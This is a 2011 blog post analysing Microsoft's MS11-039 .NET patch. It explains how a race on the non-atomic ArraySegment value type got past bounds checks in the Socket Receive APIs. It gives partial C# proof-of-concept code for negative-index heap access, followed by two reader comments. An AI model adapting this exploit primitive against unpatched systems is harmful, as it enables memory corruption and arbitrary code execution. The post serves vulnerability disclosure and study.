# Thursday, June 16, 2011
« Calendar | Main | How to Run Unpatched CLR Side-by-Side »
MS11-039 Vulnerability Details

Tuesday Microsoft released two .NET security bulletins, one of which MS11-039 I will discuss here.

The patch updated System.dll and diffing the updated assembly with the previous version shows that they've added additional parameter validation to the Socket Send and Receive APIs that take IList<ArraySegment> parameters.

The fix consists of validating the Offset and Count properties of the passed in ArraySegment values. If you read the ArraySegment constructor documentation, you see that it throws an ArgumentException if the offset or count are not in range, but given that ArraySegment is a value type, it is easy to break this "invariant" by taking advantage of the non-atomicity of value assignment.

Here's an example the exploits the bug to create a magical array that allows negative indexing (and arbitrary heap access, trivially adaptable to an exploit to run arbitrary code):

using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Net;
using System.Threading;

  static byte[] buf1;
  static byte[] buf2;
  static ArraySegment<byte> seg;

  static void Main(string[] args)
    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    Socket conn = server.Accept();
    List<ArraySegment<byte>> buffers = new List<ArraySegment<byte>>();

    buf1 = new byte[0];
    buf2 = new byte[1000];

    for (int i = 0; i < buf2.Length; i++)
      buf2[i] = 0xFF;

    Thread mutator = new Thread(Mutator);


    ArraySegment<byte> grab;
    for (; ; )
      grab = seg;
      if (grab.Array.Length == 0 && grab.Count != 0)
        Console.WriteLine("got it!");

    SocketError errorCode;
    buffers[0] = grab;
    conn.Receive(buffers, SocketFlags.None, out errorCode);


  static void Mutator()
    for (; ; )
      seg = new ArraySegment<byte>(buf1, 0, 0);
      seg = new ArraySegment<byte>(buf2, 0, 1000);
Thursday, June 16, 2011 10:35:25 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
Monday, June 20, 2011 7:23:44 PM (W. Europe Daylight Time, UTC+02:00)
The members of the parameter buffers sent in conn.Receive(buffers, SocketFlags.None, out errorCode) are copied into a local variable. Then, this local variable is sent to a method (ValidationMethod), before to be used by native code. (cf see ilspy.exe).
So, I think you cannot break the invariant.

Dominique Guerin
Monday, June 20, 2011 10:01:01 PM (W. Europe Daylight Time, UTC+02:00)

If you compare the unpatched System.dll with the patched version, you'll see that a ValidateSegment method was added.

If you run the code on an unpatched system, you'll see that it works. BTW, breaking the ArraySegment invariant is not a bug, it's an inherent feature of complex value types that they can't maintain complex invariants due to non-atomic copying.

Comments are closed.